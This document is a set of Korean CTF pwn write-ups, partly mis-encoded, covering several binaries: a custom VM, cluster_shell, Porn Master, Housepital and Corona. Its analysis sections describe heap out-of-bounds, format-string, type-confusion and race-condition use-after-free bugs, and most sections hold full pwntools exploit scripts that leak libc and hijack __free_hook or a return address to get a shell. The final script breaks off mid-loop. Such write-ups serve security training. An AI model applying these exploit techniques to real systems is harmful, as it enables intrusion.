MOVE ax, 1
SYSCALL
// write SECTION#LEAK_DATA
MOVE ax, 0
SYSCALL
// overwrite
MOVE bx, 0
MOVE ax, SECTION#LEAK_DATA
MOVE dx, [ax]
LSHIFT 18x, dx, bx
ADD ax, 2
MOVE dx, [ax]
LSHIFT 19x, dx, bx
ADD ax, 2
MOVE dx, [ax]
LSHIFT 20x, dx, bx
ADD ax, 2
MOVE dx, [ax]
LSHIFT 21x, dx, bx
RETURN
pwn.asm์์ ํํ๋ 18x, 19x ๋ฑ์ ๋ ์ง์คํฐ๋ ์๋๋ ์กด์ฌํ์ง ์๋ ๋ ์ง์คํฐ๋ก, return address๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์กฐ์๋ opcode์ด๋ค.
exploit poc
#!/usr/bin/env python3
from pwn import *
import hashlib, secrets, re
r = remote("localhost", 12001)
p = r.recvline().strip().decode()
k, v = re.findall(r'\"[^)]*\"', p)
k, v = k[1:-1], v[1:-1]
log.info("parsed (k, v) = ({}, {})".format(k, v))
pg = log.progress("PoW")
pg.status("solving ...")
while True:
x = secrets.token_hex(5)
if hashlib.sha256((k + x).encode()).hexdigest()[:5] == v:
pg.success("solved [x = {}]".format(x))
break
payload = "QlZNAAYSABoALAA+AFAAYgAFAAAAAAAAAAABAgAAGQISEQACAgIBAAweAA4BAgAAGQITEQACAgIBAAwwAA4BAgAAGQIUEQACAgIBAAxCAA4BAgAAGQIVEQACAgIBAAxUAA4NGgBBAQACAQAAMQEADSwAQQEAAgECADEBAA0+AEEBAAIBBAAxAQANUABBAQACAQYAMQEAAQIIAEEBAAEAAQAPAQAAAA8BAQAAQQAAIQMABxIDAQIAAgAhAwAHEwMBAgACACEDAAcUAwECAAIAIQMABxUDAQ4="
# payload = b64e(open("pwn.bvm", "rb").read()
r.sendlineafter("x = ", x)
r.sendlineafter("> ", payload)
r.recvuntil("loading ...\n")
libc = u64(r.recvn(8)) - 0x021b97 # libc_base
r.info("libc: {:x}".format(libc))
r.send(p64(libc + 0x4f365)) # oneshot
r.interactive()
# cat flag
# bob{B0undary_cheCK_1s_e2sy_T0_f0rg2t}
cluster_shell
- vim์ฒ๋ผ ๋ง๋ ๋ฉ๋ชจ์ฅ ๊ธฐ๋ฅ๊ณผ ์ ์ฌ ์ ํ๋กฌํํธ
sh# help
========================================
help - Help
ls - List of files
cat - Print the contents
rm - Remove file
vim - Text editor
========================================
sh# ls
- 1
sh# cat 1
aaaa
sh# vim 1
##################
#_aaaa...........#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
##################
- vim์ผ๋ก ํ์ผ์ ํ๋ ๋ง๋ค๋ ๋ง๋ค ํ์ 0x110ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํ๋ค. rm์ผ๋ก ์ญ์ ํ ๋ ๋ง๋ค free๋ก ์ฒญํฌ ํด์ ๊ฐ๋ฅ. ๋ฑ ๋ด๋ ๋ฉ๋ชจ๋ฆฌ์ ๋ญ๊ฐ ์ฐ๊ฑฐ๋ ํ ์ ์๋๊ฒ vim๊ธฐ๋ฅ๋ฐ์ ์๊ธฐ ๋๋ฌธ์ vim์ฝ๋๋ก ๊ฐ๋ค.
- sub_1980๊ฐ vim์ฝ๋์ด๊ณ , ์์ ๋ถ๊ธฐ์ sub_14E2๊ฐ vim๋ชจ๋์์ ์ปค์๋ฅผ ์์ง์ด๋ ์ฝ๋. switch๋ฌธ์ผ๋ก jmp๋ก ํด๋น ๋ฃจํด์ผ๋ก ๋ค์ด๊ฐ๋ค. sub_149E๊ฐ oob๋ฐฉ์ง๋ฅผ ์ํ boundary checkํจ์
- qword_5058์ด vim๋ชจ๋์์ ์ปค์์ ์์น์ด๋ค. ์ปค์์ ์์น๊ฐ ์์ง์ด๋ ์ฝ๋์๋ ๋ชจ๋ ์ boundary checkํจ์๊ฐ ์์ด์ผ ํ๋ค.
- ํ์ง๋ง ๊ฐ์ ์์ญ๋ด์ boundary checkํจ์ ์์ด ์ปค์์ ์์น๋ฅผ ์กฐ์ํ๋ ๊ธฐ๋ฅ์ด ์๋ค. ์ด๋ฅผ ์ด์ฉํด vim note๋ด์์ oob์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐ ํ์ฌ ํ ์์ญ๋ด์ ์ฒญํฌ๋ฅผ ์กฐ์ํ ์ ์๋ค.
- switch๋ฌธ์ ๋ถ์ํ๋ฉด jmp์ฝ๋๋ฅผ ์ด๋๋ก ํ์ง ํ ์ด๋ธ์ด ์๋ค.
0x800153c: lea 0x1ac5(%rip),%rdx # 0x8003008
=> 0x8001543: add %rdx,%rax
0x8001546: notrack jmpq *%rax
0x8003008
+ [ํ ์ด๋ธ ๋ฐ์ดํฐ]๋ก ์ ํ๋ฅผ ํ๋๋ฐ ์ ํ๋ฅผ ํ ๊ณณ์ ์์์ ์ฐพ์ ์ทจ์ฝํ ํจ์๊ฐ ์๋๊ณณ์ ์ฐพ๋๋ค. ์ฐพ๋ ๊ฐ์ 0x8003008 + X = 0x8001608์ด๋ฏ๋ก
>>> hex(0x8001608-0x8003008&0xffffffff)
'0xffffe600'
- ํด๋น ๊ฐ์ 0x8003008[0x27]๋ฒ์งธ์ ์๋ค.
(gdb) x/128wx 0x8003008
0x8003008: 0xffffe640 0xffffe64e 0xffffe64e 0xffffe64e
0x8003018: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003028: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003038: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003048: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003058: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003068: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003078: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003088: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x8003098: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe600
0x80030a8: 0xffffe64e 0xffffe64e 0xffffe64e 0xffffe64e
0x80030b8: 0xffffe64e 0xffffe64e 0xffffe541 0xffffe5f2
0x80030c8: 0xffffe56f 0xffffe59d 0xffffe5cb 0xffffe64e
0x80030d8: 0xffffe64e 0xffffe620 0x6f4e0020 0x6c696620
(gdb) x/wx 0x8003008+0x27*4
0x80030a4: 0xffffe600
.text:0000000000001513 movzx eax, byte ptr [rbp-9]
.text:0000000000001517 movsx eax, al
.text:000000000000151A sub eax, 3Ah ; ':'
.text:000000000000151D cmp eax, 35h ; '5'
.text:0000000000001520 ja loc_1656
.text:0000000000001526 mov eax, eax
- switch๊ณ์ฐ์์ [์ฌ์ฉ์์ ์
๋ ฅ] - 0x3a๋ฅผ ํ๋ ๋ํ๋ฉด ๋ฌธ์
a
๊ฐ ๋๋ค.
>>> chr(0x27+0x3a)
'a'
- vim๋ชจ๋์์ a๋ฌธ์๋ฅผ ์ ๋ ฅํ ์ ๋ค์๊ณผ ๊ฐ์ ์ฝ๋์ ์คํ์ ์๊ฒ ๋๋ค.
mov rax, cs:qword_5058
add rax, 1
mov cs:qword_5058, rax
mov eax, 0ABCD0001h
mov cs:qword_5010, rax
jmp short loc_1663
- ์ด ๋ค๋ถํฐ๋ oob๋ฅผ ์ด์ฉํด ์ฝ๋๋ฅผ ๋ณผ ํ์ ์์ด ๋ฉ๋ชจ๋ฆฌ๋ง ๋ณด๋ฉด์ ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐ๊ฐ ๊ฐ๋ฅํ๋ค.
- ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐ ํ ์ ์์ง๋ง ๋๋ tcache bin attack์ผ๋ก
__free_hook
์system
์ ๋ฎ์ด์ ํธ๋ฆฌ๊ฑฐํ์๋ค.
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
alloc(5)
oob(0, p64(0x0) + p64(0x481))
free(1)
alloc(1)
- heap chunk 6๊ฐ ํ ๋นํ๊ณ 1๋ฒ ํ์ ํฌ๊ธฐ๋ฅผ 0x480์ผ๋ก ๋ฐ๊ฟ unsorted bin์ผ๋ก ๋ฐ๊พธ๊ณ ํด์ ํ์ฌ libc์ ์ฃผ์๋ฅผ ๋ฐ๋ก ๊ตฌํ ์ ์๋ค.
oob
๋ 0๋ฒ์งธ ํ ์ฒญํฌ์ ๋ฐ๋ก ๋ค์ ์ ๊ธฐ ์์ํ๋ ํจ์์ด๋ค.
free(4)
free(3)
payload = p64(0x0) + p64(0x121)
payload += b"A" * 0x110
payload += p64(0x0) + p64(0x361)
payload += p64(leak)
payload += p64(leak)
payload += b"A" * (0x110-0x10)
payload += p64(0x0) + p64(0x121)
payload += p64(libc + e.symbols['__free_hook']-0x10)
oob(0, payload)
- 4๋ฒ 3๋ฒ ์ฒญํฌ๋ฅผ ํด์ ํด tcache bin์ ๋ง๋ค๊ณ ์์์ leakํ libc์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์ oob์ทจ์ฝ์ ์ผ๋ก tcache bin์ ๋ค์ ํ ๋น๋ ๊ณต๊ฐ์ ๋ฐ๊พผ๋ค. tcache bin์ ์ฌ์ด์ฆ ์ฒดํฌ๊ฐ์ ๊ท์ฐฎ์๊ฒ ์์ด์ ํธํ๋ค.
alloc('AA')
p.sendlineafter("sh# ", f"vim /bin/sh")
p.recvuntil("#" * 0x10)
p.sendline(b"i" + p64(libc + e.symbols['system']))
p.recvuntil("#" * 0x10)
p.sendline(":q")
free('/bin/sh')
__free_hook
์system
์ผ๋ก ๋ฎ๊ณ ํธ์ถ.
exploit
#!/usr/bin/env python3
'''
cluster_shell
in honestly, this is not has a relationship the clustering.
nc pwn.wwwlk.kr 13337
libc: http://pwn.wwwlk.kr/libc.so.6
md5: 10fdeb77eea525914332769e9cd912ae
binary: http://pwn.wwwlk.kr/cluster_shell
md5: a5960d98860dc3d5bf82ba82b0fe6dca
'''
from pwn import *
# context.log_level = 'debug'
def alloc(n):
p.sendlineafter("sh# ", f"vim {n}")
p.recvuntil("#" * 0x10)
p.recvuntil("#" * 0x10)
p.sendline(":q")
def free(n):
p.sendlineafter("sh# ", f"rm {n}")
def oob(n, value):
p.sendlineafter("sh# ", f"vim {n}")
p.sendline(b"j" * 0xf + b"l" * 0xf + b'a' + value)
p.sendline(":q")
gdbscript = '''
codebase
c
'''
p = process("./a.out")
e = ELF("./libc.so.6")
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
alloc(5)
oob(0, p64(0x0) + p64(0x481))
free(1)
alloc(1)
p.sendlineafter("sh# ", "ls")
p.recvuntil(" - ")
p.recvuntil(" - ")
p.recvuntil(" - ")
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = leak - 0x1ebbe0
log.info(f"leak: 0x{leak:x}")
free(4)
free(3)
payload = p64(0x0) + p64(0x121)
payload += b"A" * 0x110
payload += p64(0x0) + p64(0x361)
payload += p64(leak)
payload += p64(leak)
payload += b"A" * (0x110-0x10)
payload += p64(0x0) + p64(0x121)
payload += p64(libc + e.symbols['__free_hook']-0x10)
oob(0, payload)
alloc('AA')
p.sendlineafter("sh# ", f"vim /bin/sh")
p.recvuntil("#" * 0x10)
p.sendline(b"i" + p64(libc + e.symbols['system']))
p.recvuntil("#" * 0x10)
p.sendline(":q")
free('/bin/sh')
p.interactive()
Porn Master
- ๋ณดํธ๊ธฐ๋ฒ
Canary : โ
NX : โ
PIE : โ
Fortify : โ
RelRO : Full
- ์คํ๊ฒฐ๊ณผ
- ์ฝ๋ํ์ธ
- ์ฌ์ฉ์์๊ฒ name ์ 0x64 ์ฌ์ด์ฆ๋งํผ ์ ๋ ฅ์ ๋ฐ์ผ๋ฉฐ ํ ์์ญ์ ์ ์ฅ์ ํ๋ค.
- ๋ํ, ์ฌ์ฉ์์๊ฒ 0x18 ์ฌ์ด์ฆ๋งํผ ์
๋ ฅ์ ๋ฐ์ ์คํ์ ์ ์ฅํ๋ฉฐ, ์
๋ ฅ๊ณผ ์ถ๋ ฅ์ ๊ฐ 2๋ฒ์ฉ ์ํํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ํด๋น์์ญ์์
FSB
์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋
printf
์ ๋ธ๋ ์ดํฌํฌ์ธํธ ์ง์ ํ ๋๋ฒ๊ฑฐ ํ์ธ
- ๋๋ฒ๊ฑฐ๋ฅผ ํตํด ์คํ์ ํ์ธํ ์
0x00007ffd8e961198
์ฃผ์๊ฐ0x00007ffd8e96118c
(๋ณ์ i)๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ ๋ณ์(idx)์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ฆ, ํด๋น์์ญ์ FSB๋ฅผ ํตํด ๋ณ์กฐํ ์ ๋ฌด์ ํ์ผ๋ก ์ ์ถ๋ ฅ ํ ์ ์๋ค.
- ๋ฐ๋ผ์, stack ๋ฐ libc leak ์ดํ ret ๋ฅผ oneshot ์ผ๋ก ๋ณ์กฐํ์ฌ exploit ํ ์ ์๋ค.
- exploit code
from pwn import *
bi = './pwn'
r = process([bi])
#r = remote('localhost', 12002)
def reset():
pay = '%11$n'
r.sendlineafter('> ', pay )
r.sendlineafter(': ', 'gpsfly')
pay = '%17$p'
r.sendlineafter('> ', pay )
libc = int(r.recvline().strip(), 16) - 0x21b97
log.info("libc @ {}".format(hex(libc)))
reset()
pay = '%11$p'
r.sendlineafter('> ', pay)
stack = int(r.recvline().strip(), 16) - 0xc + 0x48
log.info("stack @ {}".format(hex(stack)))
reset()
oneshot = libc+0x4f2c5
oneshot = p64(oneshot)[:6]
for i in range(6):
pay = '%{}c%14$hhn'.format(ord(oneshot[i]))
pay = pay.ljust(0x10,'A')
pay += p64(stack+i)[:6]
r.sendlineafter('> ', pay)
reset()
r.sendlineafter('> ','')
r.sendlineafter('> ','')
r.interactive()
Housepital
- ๋ณดํธ๊ธฐ๋ฒ
Canary : โ
NX : โ
PIE : โ
Fortify : โ
RelRO : Full
- ์คํ๊ฒฐ๊ณผ
- ํด๋น ๋ฐ์ด๋๋ฆฌ๋
add
,view
,delete
3๊ฐ์ง ๊ธฐ๋ฅ์ด ์์ผ๋ฉฐ ํ ์์ญ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ์ฌ ์ฐ๊ณ , ์ฝ๊ณ , ํด์ ํ ์ ์๋ค.
- ๊ตฌ์กฐ์ฒด ํ์ธ
struct Patient
{
char name[0x24]; # 24 bytes
unsigned int age; # 4 bytes
size_t gender; # 8 bytes
char *sickness; # 8 bytes
};
- ์ทจ์ฝ์ ํ์ธ (add function)
- 25 line ์ scanf ํจ์ ํธ์ถ ์
%lld
ํฌ๋งท์ 8 ๋ฐ์ดํธ ์ ๋ ฅ์ ๋ฐ์ผ๋ฉฐ, patient_list[i]โage ๋ณ์๋ unsigned int (4 ๋ฐ์ดํธ)ํ ๋ณ์ ์ด๋ฏ๋ก ํด๋น ์ฝ๋์์Type Confusion
์ด ๋ฐ์ํ๋ค.
- ์ด๋ฅผ ํตํด ์๋ 26 line ๋ฐ 47 line ์ ํตํด 0x40 chunk ๋ฅผ ํ ๋น๋ฐ์ 0x80 ์ฌ์ด์ฆ ๋งํผ ์
๋ ฅ์ ๋ฐ๋ ๋ฑ
Heap Overflow
๋ก ์ ์ฉ ๊ฐ๋ฅํ๋ค.
- exploit plan
- libc leak
1.1. 0x420 ์ด์์ ์ฒญํฌ๋ฅผ ๋ง๋ ๋ค free ํ์ฌ
unsorted bin
(libc-main_arena) ์์ฑ1.2. view ๋ฉ๋ด๋ฅผ ํตํด libc ์ฃผ์ leak
- rip ๋ณ์กฐ
2.1. tcache bin ์ fd ๋ฅผ
__malloc_hook
๋๋__free_hook
์ฃผ์๋ก ๋ณ์กฐ2.2. tcache chunk ํ ๋น ์
oneshot
๋๋system
์ฃผ์๋ก ๋ณ์กฐ2.3. malloc ๋๋ free ํจ์๋ฅผ ํธ์ถํ์ฌ ํธ๋ฆฌ๊ฑฐ
- __free_hook ์ system ์ฃผ์๋ก ๋ณ์กฐ ํ์์ ๊ฒฝ์ฐ ํ ๋ฉ๋ชจ๋ฆฌ์
"/bin/sh"
๋ฌธ์์ด ์ ์ฅ ํ ํธ์ถ
- __free_hook ์ system ์ฃผ์๋ก ๋ณ์กฐ ํ์์ ๊ฒฝ์ฐ ํ ๋ฉ๋ชจ๋ฆฌ์
- libc leak
- exploit code
from pwn import *
bi = './pwn'
r = process([bi])
#r = remote('localhost', 12003)
e = ELF(bi)
l = ELF('libc.so.6')
xla = lambda x : r.sendlineafter(': ', str(x))
xa = lambda x : r.sendafter(': ', str(x))
add = lambda name,gender,age,sickness : [xla('1'), xa(name), xla(gender), xla(age), xa(sickness)]
view = lambda idx : [xla('2'), xla(idx)]
dele = lambda idx : [xla('3'), xla(idx)]
[add('Z', 0, 0xff, 'A') for _ in range(2)]
add('Z', 0, 0xff, 'A')
[add('A', 1, 0xff, 'A') for _ in range(5)]
add('A'*8+p64(0x31), 1, 0xff, 'A')
dele(2)
pay = 'A'*0x40
pay += p64(0) + p64(0x421)
add('Z', 0, 0x1000000ff, pay)
dele(3)
dele(2)
pay = 'A'*0x50
add('Z', 0, 0x1000000ff, pay)
view(2)
r.recvuntil('sickness : {}'.format('A'*0x50))
libc = u64(r.recvline().strip().ljust(8,'\x00')) - l.sym['__malloc_hook'] - 0x70
log.info("libc @ {}".format(hex(libc)))
dele(2)
dele(4)
dele(5)
dele(6)
dele(1)
dele(0)
pay = 'A'*0x40
pay += p64(0) + p64(0x41)
pay += p64(libc+l.sym['__free_hook'])
add('Z', 0, 0x1000000ff, pay)
[add(p64(libc+l.sym['system']), 0, 0xff, '/bin/sh') for _ in range(2)]
dele(1)
r.interactive()
- ์ถ๊ฐ์ ์ผ๋ก, ๊ฐ๋ฐ ์ค์๋ก ์ธํด add ํจ์์ ํ ๋ฉ๋ชจ๋ฆฌ ํ ๋น ์ ํด๋น ์์ญ์ผ๋ก ์ด๊ธฐํ(memset ๋๋ calloc) ํ์ง ์์
Uninitialized Heap
๋ฒ๊ทธ๊ฐ ์กด์ฌํ๋ ํด๋น ๋ฒ๊ทธ๋ฅผ ์ด์ฉํ์ฌ exploit ํด๋ณด๋๊ฒ๋ ์ถ์ฒํ๋ค.
Corona
Challenge
์ฌ์ฉํ ์ ์๋ ๋ฉ๋ด๋ ์๋์ ๊ฐ๋ค.
- Create house : house structure ํ ๋น
- Edit house : house name ์์
- Add person : person structure ํ ๋น
- Check status : person ์ํ ์ถ๋ ฅ
- hidden : person name ์์ (ํ๋ฒ๋ง ํธ์ถ ๊ฐ๋ฅ)
๋ํ ํ๋ก๊ทธ๋จ์๋ ๋๊ฐ์ thread๊ฐ ๋์ํ๊ณ ์๋ค.
- t_virus : ๋๋ค(3 + rand()%8)์ผ๋ก ์ฌ๋์ ํ๋ช ๊ฐ์ผ์ํค๊ณ person chunk๋ฅผ free ํ๋ค.
- t_day_check : 5์ด์ ํ๋ฒ์ฉ ํ๋ฃจ๊ฐ ์ง๋๋ฉฐ ํ๋ฃจ๊ฐ ์ง๋ ๋ ๋ง๋ค ๊ฐ์ผ๋ person ๊ฐ์ฒด๋ฅผ null๋ก ๋ฎ์ด์ด๋ค.
Vulnerability
์ทจ์ฝ์ ์ race condition์ผ๋ก, t_virus ์ฐ๋ ๋๊ฐ person chunk๋ฅผ freeํ ํ t_day_check ์ฐ๋ ๋๊ฐ person list๋ฅผ freeํ๊ธฐ ์ ์ free๋ person ์ ์ ๊ทผํ๋ฉด Use-After-Free ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
Exploit
exploit์ ์์ ์ด ๋ฌธ์ ๋ฅผ ์ต๋ํ ๋น ๋ฅด๊ฒ exploitํ๊ธฐ ์ํด ์๊ณ ์์ด์ผํ๋ ๋๊ฐ์ง๊ฐ ์๋ค.
- ๋ฐ์ด๋๋ฆฌ์์ chunk๋ฅผ freeํ๋๊ฒ ์์ ๋กญ์ง ์๋ค. t_virus thread๊ฐ ๋๋ค์ผ๋ก freeํ๋๋ฐ, list์ chunk๊ฐ ์์ ๊ฒฝ์ฐ free๋์ง ์์ ์๋ ์๋ค. ๋ฐ๋ผ์ chunk๋ฅผ ์ต๋ํ ๋์ ํ๋ฅ ๋ก free์ํค๊ธฐ ์ํด์๋ ๋ชจ๋ house์ person์ ์ ๋ถ ์ฑ์ฐ๊ณ free ๋ ๋ ์ถ๋ ฅ๋๋ ๋ฉ์ธ์ง๋ก ์ด๋ค ์ฒญํฌ๊ฐ free๋๊ฑด์ง ๊ตฌ๋ถํ๋๊ฒ ์ข๋ค (
printf("\n%s was infected ...\n", house_list[rd]->list[i]->name);
) ๊ทธ๋์ exploit์ ์์ฑํ ๋๋ ํน์ํ chunk๊ฐ free๋๋๊ฑธ ๊ฐ์ ํ๊ธฐ ๋ณด๋ค, ๋จ์ํ chunk๊ฐ free๋๋ ์ฌ์ค์ ์ด์ฉํด ์ฝ๋๋ฅผ ์์ฑํด์ผ ํ๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ๋๋ค ๋๋ฌธ์ ๋๋ฒ๊น ์ด ๋งค์ฐ ํ๋ค๊ณ exploit์ ์์ฑํ๋๋ฐ ์ค๋ ์๊ฐ์ด ๊ฑธ๋ฆด ๊ฒ์ด๋ค.
- race๋ฅผ ๋ด๋ ์๊ฐ์ด ๋๋ฌด ๊ธธ๋ค. t_day_check๊ฐ 5์ด์ด๊ณ t_virus๊ฐ (rand()%8 + 3)์ด์ธ๋ฐ ์ฌ์ค์ chunk ํ๋๊ฐ free๋๊ธฐ ์ํด์๋ ์ต์ 3์ด๋ฅผ ๊ธฐ๋ค๋ ค์ผํ๋ค๋ ๋ง์ด ๋๋ค. ๋ฌธ์ ๋ฅผ ํ ๋๋ ๋ฐ์ด๋๋ฆฌ ํจ์น๋ก ์ด ๊ฐ์ ์งง๊ฒ ์ค์ฌ์ exploitํด์ผ ๋๋ฒ๊น ํ๋๋ฐ ์๊ฐ์ ์ต์ํํ ์ ์๋ค.
์๋ง ์ ๋๊ฐ์ง๋ฅผ ์ํ๋ค๋ฉด ๋๋ฒ๊น ์ด ๋งค์ฐ ๋ถํธํ์ ๊ฒ์ด๋ค. ๋ค์์ ์ค์ ๋ก exploitํ๋ ์์์ด๋ค.
- 5์ผ์งธ์ libc leak์ ์ ๊ณตํด ์ค๋ค.
- t_virus๋ก 8๊ฐ์ chunk๋ฅผ freeํ๋ค. (7๊ฐ์ chunk๋ tcache์ ์ ์ฅ๋๋ฉฐ ๋ง์ง๋ง chunk๋ fastbin์ ์ ์ฅ๋๋ค.)
- hidden ๋ฉ๋ด๋ฅผ ์ด์ฉํด fastbin chunk์ fd๋ฅผ free hook - 0x10์ผ๋ก ๋๋ฆฐ๋ค. (race condition ํธ๋ฆฌ๊ฑฐ)
- ๋์ผํ ์ฌ์ด์ฆ์ ์ฒญํฌ๋ฅผ ํ๋ ๋ ํ ๋นํ๋ฉด fastbin chunk๋ฅผ tcache bin ์ผ๋ก ์ฎ๊ธด๋ค.
- tcache bin์ ์๋ chunk๋ฅผ ํ ๋น๋ฐ์ free_hook์ ์ํ๋ ๊ฐ์ ์ด๋ค.
- person name์ /bin/sh๋ฅผ ๋ฃ์ด t_virus๊ฐ chunk๋ฅผ freeํ ๋ shell์ ํ๋ํ๋ค.
Note
์ฌ์ค ์ด ๋ฌธ์ ๋ฅผ ์ฒ์ ๊ธฐํํ์๋ ํต์ฌ์ ์ธ ๋ด์ฉ์ libc ์ฃผ์๋ฅผ leakํ๋ ๋ถ๋ถ์ด์๋ค. ๋ค๋ง libc๋ฅผ leakํ๋ ๋ฐฉ๋ฒ์ด ์๊ฐ๋ณด๋ค ๋๋ฌด ์ด๋ ค์์ ธ์ ์ด๊ฒ๊ณผ ํจ๊ป tcache bin trick์ ๊ฐ์ด ๋ธ๋ค๋ฉด ํธ๋๋ฐ ๋๋ฌด ๋ง์ ์๊ฐ์ด ๊ฑธ๋ฆด๊ฒ์ด๋ผ ํ๋จํ๋ค. ๊ทธ๋์ libc ์ฃผ์๋ฅผ ์ฃผ๋ ๋ฐฉํฅ์ผ๋ก ๋ฌธ์ ๋ฅผ ๋ณ๊ฒฝํ๊ณ , exploit์์ ์์ฐ๋ edit house ๋ฉ๋ด๊ฐ ์๋ ์ด์ ๋ leak์ ์ฃผ๋๊ฑธ๋ก ํจ์นํด์ ๊ทธ๋ ๋ค. (ํ์ง๋ง ์ง๊ธ ๋ฌธ์ ์์๋ libc leak์ ํ ์ ์์ผ๋ ๋์ ํด๋ณด๊ณ ์ถ์ผ์ ๋ถ๋ค์ ๋์ ํด ๋ณด์๊ธธ..)
๊ทธ๋ฆฌ๊ณ exploit์ ํต์ฌ์ ์ธ ๋ด์ฉ ์ค์ tcache ๊ด๋ จ ํธ๋ฆญ์ด ์๋๋ฐ, ์ฌ์ค ์ด๊ฒ์ ๊ณต๊ฐ์ ์ผ๋ก ์๋ ค์ง๊ฑฐ๋ ํํ ์ฌ์ฉ๋๋ ํธ๋ฆญ์ ์๋ ๋งํผ fastbin bin์ ์๋ chunk๊ฐ tcache์ผ๋ก ์ฎ๊ฒจ์ง๋ค๋ ์ฌ์ค์ ๋ชจ๋ฅด๋ ๋ถ๋ค์ด ๋ง์ ๊ฒ์ด๋ผ ์๊ฐํ๋ค. ํนํ CTF์์ heap ๊ด๋ จ ๋ฌธ์ ๋ ๋ชจ๋ฅด๋ ํธ๋ฆญ์ด ๋์ ๊ณ ์ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์๋ฐ, ์ด ๋ฌธ์ ์์๋ ํธ๋ฆญ์ ๋ชฐ๋ผ๋ ์์ฐ์ค๋ฝ๊ฒ ๋ฌธ์ ๋ฅผ ํ ์ ์๋๋ก ์ต๋ํ ์ ๋ํ๋ค.
๊ทธ ๋ถ๋ถ์ด ๋ฐ๋ก Person chunk๋ฅผ 0x70 ์ฌ์ด์ฆ์ chunk๋ก ์คฌ๋ค๋ ์ฌ์ค์ธ๋ฐ, exploit์์ tcache bin ํธ๋ฆญ์ ์ฌ์ฉํ๋ฉด ์ฌ์ด์ฆ์๋ ์๊ด ์์ด ์ํ๋ ์ฃผ์๋ฅผ ๋ฎ์ด ์ธ ์ ์๋ค. ํ์ง๋ง ์ด ์ฌ์ค์ ๋ชจ๋ฅด๋ ๋ถ๋ค์ ์ด๋ฏธ ํํ๊ฒ ์๋ ค์ง 0x70 fastbin chunk์ fd๋ฅผ ๋ฎ์ด __malloc_hook์ ๋ฎ์ด์ฐ๋ exploit์ ์๊ฐํ์ ๊ฒ์ด๋ค. ๋ง์ฝ ์ด๋ฐ ์๊ฐ์ ํตํด exploit์ ์์ฑํ๋ค ํ๋๋ผ๋ __malloc_hook์ ๋ฎ์ด์ฐ๋ ๊ณผ์ ์์ ์์ฐ์ค๋ฝ๊ฒ fastbin chunk๊ฐ tcache bin์ผ๋ก ์ฎ๊ฒจ์ง๋ ์ฌ์ค์ ํ์ธํ ์ ์์ ๊ฒ์ด๋ค. ์ฌ๊ธฐ์ ์ข๋ง ๋ ๋๋ฒ๊น ์ ํ๋ค ๋ณด๋ฉด exploit์ ์์ฑํ ์ ์๋๋ก ๋ฌธ์ ๋ฅผ ์ค๊ณํ๋ค. ๊ทธ๋์ ์ด ๋ฌธ์ ๋ฅผ ํธ๋ ๋ชจ๋ ๋ถ๋ค์ด ๋ชจ๋ฅด๋ฉด ๋ชปํธ๋ ํธ๋ฆญ๋ฌธ์ ๋ผ๊ณ ์๊ฐํ์ง ์์์ผ๋ฉด ์ข๊ฒ ๋ค๋ ๋ง์์ผ๋ก ์ต๋ํ ์ต์ค ์ ๋๋ฅผ ํด๋ดค๋ค.
Exploit Code
์ค์๋ก ๋ฌธ์ ์ฝ๋์ exploit์ ๋ค ๋ ๋ ค๋ฒ๋ฆฐ ๋ฐ๋์,, ๋ฌธ์ ๋ฅผ ํฌ๋ก์ค ์ฒดํน ํด์ฃผ์ ํต์ฌ์ฐ๊ตฌํ ๊น๋๋ฏผ๋(@gpsfly) ์ต์ค๋ฅผ ์ฒจ๋ถํ๋ค.
from pwn import *
import sys
bi = './bin.elf'
#r = process([bi])
r = remote('bob.lordofpwn.kr', 31337)
context.terminal = ['tmux', 'new-window']
sla = r.sendlineafter
sa = r.sendafter
p = pause
dbg = gdb.attach
e = ELF(bi)
l = ELF('libc') # remote
#l = ELF('libc.so.6') # local
sc = '''
heap-analysis-helper
c
'''
if len(sys.argv) > 1:
dbg(r, sc)
xla = lambda x : sla('>> ', str(x))
xa = lambda x : sa('>> ', str(x))
create = lambda name : [xla(1), xa(name)]
edit = lambda idx,name : [xla(2), xla(idx), xa(name)]
add = lambda idx,name,age,height : [xla(3), xla(idx), xa(name), xla(age), xla(height)]
check = lambda idx : [xla(4), xla(idx)]
hidden = lambda hidx,pidx,name : [xla(31337), xla(hidx), xla(pidx), xa(name)]
for i in range(7):
create('/bin/sh')
for j in range(8):
add(i, '{}_{};/bin/sh'.format(i,j), 1, 1)
cnt = 0
while True:
data = r.recvline().strip()
if 'The gift' in data:
libc = int(data.split(' : ')[1], 16) - l.sym['printf']
log.info("libc @ {}".format(hex(libc)))
elif 'infected' in data:
cnt += 1
print(cnt, data)
if cnt == 8:
i, j = data.split(' was ')[0].split(';')[0].split('_')
r.sendline('5')
